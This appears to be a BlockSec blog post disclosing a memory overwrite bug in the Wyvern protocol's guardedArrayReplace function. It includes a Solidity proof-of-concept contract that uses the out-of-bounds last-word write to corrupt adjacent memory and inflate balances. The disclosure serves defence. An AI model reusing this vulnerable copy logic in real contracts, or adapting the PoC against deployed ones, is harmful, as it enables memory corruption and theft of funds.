A new memory overwrite vulnerability discovered in Wyvern Protocol

Introduction

Our vulnerability detection system found a memory overwrite vulnerability in the latest implementation of the Wyvern library, which belongs to the Wyvern decentralized exchange protocol that was previously used by OpenSea. This bug may lead to arbitrary storage write.

Description

The vulnerable code can be found in the official code repo (https://github.com/wyvernprotocol/wyvern-v3/blob/master/contracts/lib/ArrayUtils.sol) with the commit hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

The severity

This bug may lead to arbitrary storage write. Suppose array.length is exactly divisible by 0x20, the copying operation is actually done in the loop logic. However, in most cases, the function will enter the vulnerable logic and try to copy a word behind the desired array to the target array, which inevitably causes an out-of-bounds access. Even worse, the incorrect logic could be exploited to overwrite a word to the end of the target array, which is an unknown memory area that can be of any use.

How to exploit this bug?

We have developed a PoC contract to illustrate the potential attack vector. The PoC contract has two functions, the first one named test() is used to perform the attack, while the second one is just the vulnerable guardedArrayReplace() function.

contract PoC {    mapping(address=>uint) public balances;
event T(uint256,uint256,uint256); function test() external {
bytes memory a = abi.encode(keccak256("123"));
bytes memory b = abi.encode(keccak256("456"));
uint[] memory _rewards = new uint[](1);
bytes memory mask = abi.encode(keccak256("123"));
bytes memory d = abi.encode(keccak256("eee"));
bytes memory d1 = abi.encode(keccak256("eee"));
bytes memory d3 = abi.encode(keccak256("eee"));
bytes memory d4 = abi.encode(keccak256("eee"));
bytes memory d5 = abi.encode(keccak256("eee"));
guardedArrayReplace(b, a, mask);
for(uint i = 0; i < _rewards.length; i++){
uint256 amt = _rewards[i];
balances[msg.sender] += amt;
}
}
function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)
internal
pure
{
require(array.length == desired.length, "Arrays have different lengths");
require(array.length == mask.length, "Array and mask have different lengths");
uint words = array.length / 0x20;
uint index = words * 0x20;
assert(index / 0x20 == words);
uint i;
for (i = 0; i < words; i++) {
/* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */
assembly {
let commonIndex := mul(0x20, add(1, i))
let maskValue := mload(add(mask, commonIndex))
mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))
}
}
/* Deal with the last section of the byte array. */
if (words > 0) {
/* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */
i = words;
assembly {
let commonIndex := mul(0x20, add(1, i))
let maskValue := mload(add(mask, commonIndex))
mstore(add(array, commonIndex), or(
and(not(maskValue),
mload(
add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))
)
}
} else {
/* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.
(bounds checks could still probably be optimized away in assembly, but this is a rare case) */
for (i = index; i < array.length; i++) {
array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]);
}
}
}
}

Conclusion

Although rare, such a memory overwrite vulnerabilities may still exist in the smart contracts. Developers need to pay attention to the code logic that manipulates the memory.

About BlockSec

The BlockSec is dedicated to building blockchain security infrastructure. The team is founded by top-notch security researchers and experienced experts from both academia and industry. We have published multiple blockchain security papers in prestigious conferences, reported several zero-day attacks of DeFi applications, and successfully protected digital assets that are worth more than 5 million dollars by blocking multiple attacks.

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
BlockSec

BlockSec

The BlockSec Team focuses on the security of the blockchain ecosystem and the research of crypto hack monitoring and blocking, smart contract auditing.